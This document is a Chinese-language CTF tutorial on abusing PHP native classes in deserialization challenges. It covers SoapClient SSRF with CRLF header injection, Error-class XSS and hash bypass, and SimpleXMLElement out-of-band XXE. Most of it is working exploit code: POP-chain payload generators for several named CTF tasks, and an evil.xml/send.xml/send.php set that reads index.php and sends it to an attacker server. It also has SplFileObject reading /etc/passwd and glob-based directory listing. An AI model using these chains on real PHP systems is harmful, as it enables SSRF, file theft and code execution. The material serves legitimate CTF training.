php原生类安全
原生类指的是php自带的一些类,原来实现一些功能,比如报错等等
最近看反序列化的题目比较多,有一种题目,构造pop链到一半发现没有类可以用了,这种情况就要想到去利用php原生类来打一些组合拳,比如ssrf、xss、xxe
SoapClient类[SSRF]
Soap协议采用HTTP来进行通信,可以在phpinfo()里面查看php是否安装了该插件

这里就摘一个重要的方法
1 2 3 4 5 6 7 8 9 10 11 12
| class SoapClient{ public __construct(string $wsdl,array $options=[]) public __call(string $name,array $args) { } }
|
这里第二个参数array里面的user_agent还可以拿来设置一些其它的东西,比如cookie
‘user_agent’=>”admin\r\nCookie: PHPSESSID=xxx\r\n”
1 2 3 4 5 6 7 8 9 10 11
| <?php $a=new SoapClient(null,array ( 'location'=>"http://xxx:2333/", 'uri'=>'test', 'user_agent'=>"from kenoe" ) ); $a->c(); ?>
|
然后在vps上__nc -lvvp 2333__

还可以继续尝试一些骚操作
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php $target = "http://xxx:2333/"; $post_string = 'flag=xxx'; $a=new SoapClient(null, array( 'location'=>$target, 'uri'=>'exp', 'user_agent'=>"kenoe\r\nContent-Type: application/x-www-form-urlencoded\r\nContent_Length: ". (string)strlen($post_string)."\r\n\r\n".$post_string ) ); $a->aaa(); ?>
|
在user-agent那里把真正的Content_Length挤到下面去

MRCTF2020[Ezpop_Revenge]
www.zip源码泄露,直接代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php if(!isset($_SESSION)) session_start(); if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){ $_SESSION['flag']= "MRCTF{******}"; }else echo "我扌your problem?\nonly localhost can get flag!"; ?>
<?php class HelloWorld_DB{ private $flag="MRCTF{this_is_a_fake_flag}"; private $coincidence; function __wakeup(){ $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']); } } public function action(){ if(!isset($_SESSION)) session_start(); if(isset($_REQUEST['admin'])) var_dump($_SESSION); if (isset($_POST['C0incid3nc3'])) { if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0) unserialize(base64_decode($_POST['C0incid3nc3'])); else { echo "Not that easy."; } } ?>
|
继续去追踪Typecho_Db这个类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php class Typecho_Db { private $_adapter; private $_prefix; private $_adapterName; public function __construct($adapterName, $prefix = 'typecho_') { $this->_adapterName = $adapterName;
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) { throw new Typecho_Db_Exception("Adapter {$adapterName} is not available"); }
$this->_prefix = $prefix;
$this->_pool = array(); $this->_connectedPool = array(); $this->_config = array();
$this->_adapter = new $adapterName(); }
|
这里可以构造反序列化一个HelloWorld_DB类,然后触发__wakeup方法,又构造了一个Typecho_Db类,发现传的一个参数会变成字符串拼接,于是想到了__toString魔术方法,全局搜索一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <? class Typecho_Db_Query { private $_adapter; private $_sqlPreBuild; private $_prefix; private $_params = array(); public function __toString() { switch ($this->_sqlPreBuild['action']) { case Typecho_Db::SELECT: return $this->_adapter->parseSelect($this->_sqlPreBuild); case Typecho_Db::INSERT: return 'INSERT INTO ' . $this->_sqlPreBuild['table'] . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')' . ' VALUES ' . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')' . $this->_sqlPreBuild['limit']; case Typecho_Db::DELETE: return 'DELETE FROM ' . $this->_sqlPreBuild['table'] . $this->_sqlPreBuild['where']; case Typecho_Db::UPDATE: $columns = array(); if (isset($this->_sqlPreBuild['rows'])) { foreach ($this->_sqlPreBuild['rows'] as $key => $val) { $columns[] = "$key = $val"; } }
return 'UPDATE ' . $this->_sqlPreBuild['table'] . ' SET ' . implode(' , ', $columns) . $this->_sqlPreBuild['where']; default: return NULL; } }
}
|
这里看到调用了_adapter的一个方法,这里想到用__call方法,全局搜索了一下,发现Typecho_Plugin类有这个方法,没发现什么利用方式,这里就想到要用到SoapClient类的__call方法了,进行一个ssrf的打,所以这里pop链出来了
HelloWorld_DB.__wakeup->Typecho_Db.__construct->Typecho_Db_Query.__toString->SoapClient.__call
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php error_reporting(0); class HelloWorld_DB{ private $coincidence; public function __construct() { $this->coincidence = array("hello" => new Typecho_Db_Query()); } }
class Typecho_Db_Query { private $_adapter; private $_sqlPreBuild; public function __construct() { $target = "http://127.0.0.1/flag.php"; $this->_adapter = new SoapClient(null, array( 'location' => $target, 'user_agent' => "kenoe\r\nX-Forwarded-For:127.0.0.1\r\nCookie: PHPSESSID=g5u1kjdqmenl4e3hvae8l7atf3", 'uri' => 'exp' ) ); $this->_sqlPreBuild = ['action' => "SELECT"]; } } $a = serialize(new HelloWorld_DB()); echo urlencode(base64_encode($a)); ?>
|
bestphp’s revenge
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php highlight_file(__FILE__); $b = 'implode'; call_user_func($_GET['f'], $_POST); session_start(); if (isset($_GET['name'])) { $_SESSION['name'] = $_GET['name']; } var_dump($_SESSION); $a = array(reset($_SESSION), 'welcome_to_the_lctf2018'); call_user_func($b, $a); ?>
<?php only localhost can get flag! session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag! ?>
|
这里可以猜测没有其它类利用,还是用SoapClient来进行攻击
1 2 3 4 5 6 7 8 9 10 11
| <?php $a=new SoapClient(null, array('location'=>"http://127.0.0.1/flag.php", 'uri'=>'exp', 'user_agent'=>"kenoe\r\n Cookie: PHPSESSID=qg1fr26m5n275n9c8j5jbnbhj7\r\n" ) ); echo "|".urlencode(serialize($a)); ?>
|
接下来我们要寻找反序列化的点,根据源码猜测是session反序列化,这里就要去修改session.serialize_handler的数值,这里就用
call_user_func(session_start,serialize_handler=php_serialize)来实现序列化引擎的修改,此时我们先
然后要触发SoapClient的call魔术方法实现ssrf,这里要提到call_user_func()
当只传入一个数组时,可以用call_user_func()来调用一个类里面的方法,call_user_func()会将这个数组中的第一个值当做类名,第二个值当做方法名
这里传个
f=extract
b=call_user_func
就得到flag
Error/Exception类[XSS、绕过哈希]
Error
适用版本php7,在开启报错的情况下可使用
1 2 3 4 5
| class Error { public __construct(string $message="",int $code=0,?Throwable $previous = null) public __toString() }
|
利用方法是直接用echo Error类的方法去触发xss
1 2 3 4
| <?php $a=new Error("<script>alert('kenoe')</script>"); echo $a; ?>
|
访问直接

会输出
Error: in D:\phpstudy_pro\WWW\a.php:2 Stack trace: #0 {main}
因此发现不同的Error类输出的内容其实是一样的,可以原来绕过哈希比较
Exception
适用于php5、7版本,开启报错的情况下
用法和Error一样
1 2 3 4
| <?php $a=new Exception("<script>alert('kenoe')</script>"); echo $a; ?>
|
Greatphp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php error_reporting(0); class SYCLOVER { public $syc; public $lover;
public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); }
} } }
if (isset($_GET['great'])){ unserialize($_GET['great']); } else { highlight_file(__FILE__); }
?>
|
这里用两个Error类就可以绕过,但是要注意Error类必须写在同一行,因为报错包含了行数,这里贴一下大佬的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); }
} } } $str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>"; $a=new Error($str,1);$b=new Error($str,2); $c = new SYCLOVER(); $c->syc = $a; $c->lover = $b; echo(urlencode(serialize($c))); ?>
|
记得先加上?>来闭合脏数据,然后用取反来绕过
SimpleXMLElement类[XXE]
1 2 3 4 5
| class SimpleXMLElement { public function __construct(string $data,int $options=0,bool $data_is_url=false,string $ns="",bool $is_prefix=false)
}
|
data |
必需。形式良好的 XML 字符串或 XML 文档的路径或 URL(如果 data_is_url 是 TRUE)。 |
options |
可选。规定附加的 Libxml 参数。通过指定选项为 1 或 0(TRUE 或 FALSE,例如 LIBXML_NOBLANKS(1))进行设置。可能的值:LIBXML_COMPACT - 激活节点的优化配置(可加速应用程序)LIBXML_DTDATTR - 设置默认的 DTD 属性LIBXML_DTDLOAD - 装载额外的子集LIBXML_DTDVALID - 验证 DTD 有效性LIBXML_NOBLANKS - 删除空节点LIBXML_NOCDATA - 将 CDATA 设置为文本节点LIBXML_NOEMPTYTAG - 扩展空标签(例如 到 ),仅在 DOMDocument->save() 和 DOMDocument->saveXML() 函数中有效LIBXML_NOENT - 替代实体LIBXML_NOERROR - 不显示错误报告LIBXML_NONET - 装载文档时停止访问网络LIBXML_NOWARNING - 不显示警告报告LIBXML_NOXMLDECL - 当存储一个文档时放弃 XML 声明LIBXML_NSCLEAN - 删除多余的名称空间声明LIBXML_PARSEHUGE - 设置 XML_PARSE_HUGE 标志,用来放宽解析器的任何强制限制。这将影响诸如文档的最大深度和文本节点大小限制等。LIBXML_XINCLUDE - 使用 XInclude 替代LIBXML_ERR_ERROR - 获取可纠正的错误LIBXML_ERR_FATAL - 获取致命错误LIBXML_ERR_NONE - 不获取错误LIBXML_ERR_WARNING - 获取简单警告LIBXML_VERSION - 获取 libxml 版本(例如 20605 或 20617)LIBXML_DOTTED_VERSION - 获取带点的 libxml 版本(例如 2.6.5 或 2.6.17) |
data_is_url |
可选。如果是 TRUE 表明 data 是 XML 文档的路径或 URL,而不是字符串数据。默认是 FALSE。 |
ns |
可选。规定命名空间前缀或 URI。 |
is_prefix |
可选。规定一个布尔值。如果 ns 是前缀则为 TRUE,如果 ns 是 URI 则为 FALSE。默认是 FALSE。 |
可以设置data_is_url为true,来实现远程载入xml文件,实现xxe
第一个参数data原来设置自己的vps地址
[SUCTF 2018]Homework
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php class calc{ function __construct__(){ calc(); }
function calc($args1,$method,$args2){ $args1=intval($args1); $args2=intval($args2); switch ($method) { case 'a': $method="+"; break;
case 'b': $method="-"; break;
case 'c': $method="*"; break;
case 'd': $method="/"; break;
default: die("invalid input"); } $Expression=$args1.$method.$args2; eval("\$r=$Expression;"); die("Calculation results:".$r); } } ?>
|
这里运行计算器可以看到url
show.php?module=calc&args[]=2&args[]=a&args[]=2
发现module调用类,这里用它调用SimpleXMLElement类,然后引用外部的恶意xml,首先在vps上布置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| #evil.xml <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % remote SYSTEM "http://xxx/send.xml"> %remote; %all; %send; ]> #send.xml <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> <!ENTITY % all "<!ENTITY % send SYSTEM 'http://47.xxx.xxx.72/send.php?file=%file;'>"> #send.php <?php file_put_contents("result.txt", $_GET['file']) ; ?>
|
通过这种方式,可以联合xxe打组合拳
Directorylterator、Filesystemlterator类[目录遍历]
1 2 3 4
| DirectoryIterator extends SplFileInfo implements SeekableIterator { public __construct ( string $path ) public __toString ( ) : string }
|
利用方式如下
1 2 3 4
| <?php $dir=new DirectoryIterator("/"); $dirr=new DirectoryIterator("glob:///*flag*"); echo $dir;
|
Globlterator类[目录遍历]
这个类和前面两个的区别在于,自带glob协议
1 2 3
| <?php $dir=new Globlterator("/*flag*"); echo $dir;
|
可用它绕过open_basedir
SplFileObject类[文件读取]
1 2 3 4 5 6 7
| <?php $a=new SplFileObject('/etc/passwd'); echo $a; foreach($a as $af) { echo $af; }
|
ReflectionMethod类[获取注释内容]
ReflectionMethod::getDocComment可以获取注释内容
1 2 3 4 5
| class ReflectionMethod { public function __construct(object|string $objectOrMethod,string $method); public function __construct(string $classMethod); }
|
类似的使用方法还有很多
我们用的比较多的是 ReflectionClass类、ReflectionObject 和ReflectionMethod类,
ReflectionClass 通过类名获取类的信息;
ReflectionObject 通过类的对象获取类的信息;
ReflectionMethod 获取一个方法的有关信息。
其他的还有
ReflectionException类
ReflectionFunction类
ReflectionExtension类
ReflectionFunctionAbstract 类
ReflectionGenerator类
ReflectionParameter 类
ReflectionProperty类
ReflectionType类
参考资料
php原生类
Phar与Stream Wrapper造成PHP RCE的深入挖掘